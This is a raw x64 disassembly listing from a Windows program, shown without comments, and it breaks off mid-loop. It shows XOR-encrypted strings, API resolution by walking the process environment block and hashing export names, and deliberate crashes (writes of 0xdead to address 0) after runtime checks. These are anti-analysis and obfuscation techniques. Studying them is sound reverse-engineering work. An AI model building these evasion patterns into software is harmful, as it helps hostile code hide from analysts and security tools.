xorps xmm1, xmm0
movd dword [rbp + 0x5e8], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5ec]
xorps xmm2, xmm1
movd dword [rbp + 0x5ec], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x5f0], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x5e8]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008dd10
lea rcx, [rbp + 0x5e8]
call fcn.14004e760
mov dword [rbp + 0xd8], 0x43700000
mov dword [rbp + 0xdc], 0x43520000
lea rcx, [rbp + 0xd8]
call fcn.140025c50
movsd xmm0, qword [0x140164f80]
movsd qword [rbp + 0x548], xmm0
movzx ecx, word [0x140164f88]
mov word [rbp + 0x550], cx
movzx eax, byte [0x140164f8a]
mov byte [rbp + 0x548], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x549], 0x31
xor byte [rbp + 0x54a], 0x32
xor byte [rbp + 0x54b], 0x33
xor byte [rbp + 0x54c], 0x34
xor byte [rbp + 0x54d], 0x35
xor byte [rbp + 0x54e], 0x36
xor byte [rbp + 0x54f], 0x37
xor cl, 0x38
mov byte [rbp + 0x550], cl
xor byte [rbp + 0x551], 0x39
xor al, 0x3a
mov byte [rbp + 0x552], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, 0x8000
mov r8d, 0xff
lea rdx, [0x14019a421]
lea rcx, [rbp + 0x548]
call fcn.140046c40
call fcn.140021450
movaps xmm0, xmm6
call fcn.140021bf0
mov rcx, rbx
call fcn.140025a50
mov dword [rbp + 0xe0], 0x43700000
mov dword [rbp + 0xe4], 0x437a0000
lea rcx, [rbp + 0xe0]
call fcn.140025c50
movups xmm2, xmmword [0x140164f90]
movups xmmword [rbp + 0x7b8], xmm2
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14008e059
mov r8d, r12d
cmp r15d, 2
jl 0x14008e020
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x7b8], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7bc]
xorps xmm2, xmm1
movd dword [rbp + 0x7bc], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7c0]
xorps xmm2, xmm1
movd dword [rbp + 0x7c0], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7c4]
xorps xmm2, xmm1
movd dword [rbp + 0x7c4], xmm2
jmp 0x14008e059
lea r9, [rbp + 0x7b8]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14008e030
lea rcx, [rbp + 0x7b8]
call fcn.14004e760
mov dword [rbp + 0xe8], 0x43700000
mov dword [rbp + 0xec], 0x43898000
lea rcx, [rbp + 0xe8]
call fcn.140025c50
movsd xmm0, qword [0x140164fa0]
movsd qword [rbp + 0x4b8], xmm0
movzx eax, word [0x140164fa8]
mov word [rbp + 0x4c0], ax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14008e0f2
mov byte [rbp + 0x4b8], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x4b9], 0x31
xor byte [rbp + 0x4ba], 0x32
xor byte [rbp + 0x4bb], 0x33
xor byte [rbp + 0x4bc], 0x34
xor byte [rbp + 0x4bd], 0x35
xor byte [rbp + 0x4be], 0x36
xor byte [rbp + 0x4bf], 0x37
xor byte [rbp + 0x4c0], 0x38
xor byte [rbp + 0x4c1], 0x39
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xff
lea rdx, [0x14019a520]
lea rcx, [rbp + 0x4b8]
call fcn.140046c40
call fcn.140021450
movdqa xmm0, xmmword [0x140167e80]
movups xmmword [rsi + 0x114], xmm0
mov dword [rbp + 0xf0], 0x43700000
mov dword [rbp + 0xf4], 0x439d8000
lea rcx, [rbp + 0xf0]
call fcn.140025c50
mov rcx, rbx
call fcn.140025a50
movups xmm3, xmmword [0x14019a2e8]
mov dword [rbp + 0xf8], 0x43820000
mov dword [rbp + 0xfc], 0x42200000
movsd xmm0, qword [str.bTUZGASE]
movsd qword [rbp + 0x6b8], xmm0
mov ecx, dword [0x140164fb8]
mov dword [rbp + 0x6c0], ecx
movzx eax, word [0x140164fbc]
mov word [rbp + 0x6c4], ax
movzx eax, byte [0x140164fbe]
mov byte [rbp + 0x6c6], al
mov r8d, r12d
cmp r15d, 2
jl 0x14008e2f9
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.bTUZGASE]
xorps xmm1, xmm0
movd dword [rbp + 0x6b8], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6bc]
xorps xmm2, xmm1
movd dword [rbp + 0x6bc], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x6c0], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x6b8]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14008e310
movdqa xmmword [rsp + 0x50], xmm3
movups xmm0, xmmword [0x140167ff0]
movdqa xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14019a6a0]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a698]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a690]
xor r8d, r8d
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x6b8]
call fcn.14003e940
test al, al
je 0x14008f29f
lea rax, [rbp + 0xf20]
mov qword [rbp - 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xf20], xmm0
mov qword [rbp + 0xf30], r12
mov qword [rbp + 0xf38], r12
xor r8d, r8d
lea rdx, [0x140119ac4]
lea rcx, [rbp + 0xf20]
call fcn.140055880
nop
lea rax, [rbp + 0xf40]
mov qword [rbp - 0x38], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xf40], xmm0
mov qword [rbp + 0xf50], r12
mov qword [rbp + 0xf58], r12
mov r8, rdi
lea rdx, [0x14019a520]
inc r8
cmp byte [rdx + r8], 0
jne 0x14008e413
lea rcx, [rbp + 0xf40]
call fcn.140055880
nop
lea rax, [rbp + 0xe20]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe20], xmm0
mov qword [rbp + 0xe30], r12
mov qword [rbp + 0xe38], r12
mov r8, rdi
lea rax, [0x14019a421]
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14008e460
mov rdx, rax
lea rcx, [rbp + 0xe20]
call fcn.140055880
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xee0], xmm0
mov qword [rbp + 0xef0], r12
mov qword [rbp + 0xef8], r12
mov r8, rdi
lea rax, [0x14019a322]
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14008e4a0
mov rdx, rax
lea rcx, [rbp + 0xee0]
call fcn.140055880
nop
lea rax, [rbp + 0xf20]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf40]
lea r8, [rbp + 0xe20]
lea rdx, [rbp + 0xee0]
lea rcx, [0x14019bb10]
call fcn.1400beb70
cmp byte [0x14019bd20], 0
jne 0x14008e59e
movsd xmm0, qword [str.qDF_]
movsd qword [rbp + 0x4d8], xmm0
movzx ecx, word [0x140164fc8]
mov word [rbp + 0x4e0], cx
movzx eax, byte [0x140164fca]
mov byte [rbp + 0x4d8], 0x41
xor byte [rbp + 0x4d9], 0x31
xor byte [rbp + 0x4da], 0x32
xor byte [rbp + 0x4db], 0x33
xor byte [rbp + 0x4dc], 0x34
xor byte [rbp + 0x4dd], 0x35
xor byte [rbp + 0x4de], 0x36
xor byte [rbp + 0x4df], 0x37
xor cl, 0x38
mov byte [rbp + 0x4e0], cl
xor byte [rbp + 0x4e1], 0x39
xor al, 0x3a
mov byte [rbp + 0x4e2], al
cmp qword [0x14019bd40], 0xf
cmova r14, qword [0x14019bd28]
xor r9d, r9d
lea r8, [rbp + 0x4d8]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14008f29f
movsd xmm0, qword [str.YBRW_a]
movsd qword [rbp + 0x578], xmm0
mov ecx, dword [0x140164fd8]
mov dword [rbp + 0x580], ecx
cmp byte [0x140164fdb], 0
je 0x14008e749
mov r8d, r12d
cmp r15d, 2
jl 0x14008e716
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.YBRW_a]
xorps xmm1, xmm0
movd dword [rbp + 0x578], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x57c]
xorps xmm2, xmm1
movd dword [rbp + 0x57c], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x580], xmm2
jmp 0x14008e749
lea r9, [rbp + 0x578]
nop dword [rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14008e720
lea rdx, [rbp + 0x578]
lea rcx, [rbp + 0xe60]
call fcn.140062220
mov r8, rax
lea rdx, [rbp + 0x1478]
lea rcx, [0x14019bb10]
call fcn.1400c22e0
nop
cmp qword [rbp + 0x1488], 2
jbe 0x14008f070
mov ecx, dword [0x14019ba60]
call fcn.14006acd0
test al, al
je 0x14008e9af
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008e826
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008e826
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008e821
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008e800
cmp r8d, 0xcded1a85
je 0x14008e82b
test r9d, r9d
jne 0x14008e7e0
mov rax, qword [rax]
jmp 0x14008e7b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008e8d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008e8d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008e8d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008e8b0
cmp r8d, 0xe80fd3a
je 0x14008e8db
test r9d, r9d
jne 0x14008e890
mov rax, qword [rax]
jmp 0x14008e860
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008e986
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008e986
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008e981
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008e960
cmp r8d, 0xa52bcaf9
je 0x14008e98b
test r9d, r9d
jne 0x14008e940
mov rax, qword [rax]
jmp 0x14008e910
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
call fcn.14006a9e0
test al, al
je 0x14008ebcf
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008ea46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ea46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ea41
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008ea20
cmp r8d, 0xcded1a85
je 0x14008ea4b
test r9d, r9d
jne 0x14008ea00
mov rax, qword [rax]
jmp 0x14008e9d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008eaf6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008eaf6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008eaf1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008ead0
cmp r8d, 0xe80fd3a
je 0x14008eafb
test r9d, r9d
jne 0x14008eab0
mov rax, qword [rax]
jmp 0x14008ea80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008eba6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008eba6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008eba1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008eb80
cmp r8d, 0xa52bcaf9
je 0x14008ebab
test r9d, r9d
jne 0x14008eb60
mov rax, qword [rax]
jmp 0x14008eb30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
cmp byte [0x14019b70f], 0
je 0x14008edef
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008ec66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ec66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ec61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008ec40
cmp r8d, 0xcded1a85
je 0x14008ec6b
test r9d, r9d
jne 0x14008ec20
mov rax, qword [rax]
jmp 0x14008ebf0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008ed16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ed16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ed11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008ecf0
cmp r8d, 0xe80fd3a
je 0x14008ed1b
test r9d, r9d
jne 0x14008ecd0
mov rax, qword [rax]
jmp 0x14008eca0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008edc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008edc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008edc1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008eda0
cmp r8d, 0xa52bcaf9
je 0x14008edcb
test r9d, r9d
jne 0x14008ed80
mov rax, qword [rax]
jmp 0x14008ed50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov eax, dword [0x140164fdc]
mov dword [rbp - 0x28], eax
movzx eax, word [0x140164fe0]
mov word [rbp - 0x24], ax
mov byte [rbp - 0x28], reloc.WLDAP32.dll_Ordinal_46
xor byte [rbp - 0x27], 0x31
xor byte [rbp - 0x26], 0x32
xor byte [rbp - 0x25], 0x33
xor byte [rbp - 0x24], 0x34
xor byte [rbp - 0x23], 0x35
xor edx, edx
lea rcx, [rbp - 0x28]
call fcn.14006aa20
test al, al
je 0x14008f03f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008eeb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008eeb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008eeb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008ee90
cmp r8d, 0xcded1a85
je 0x14008eebb
test r9d, r9d
jne 0x14008ee70
mov rax, qword [rax]
jmp 0x14008ee40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008ef66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ef66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ef61
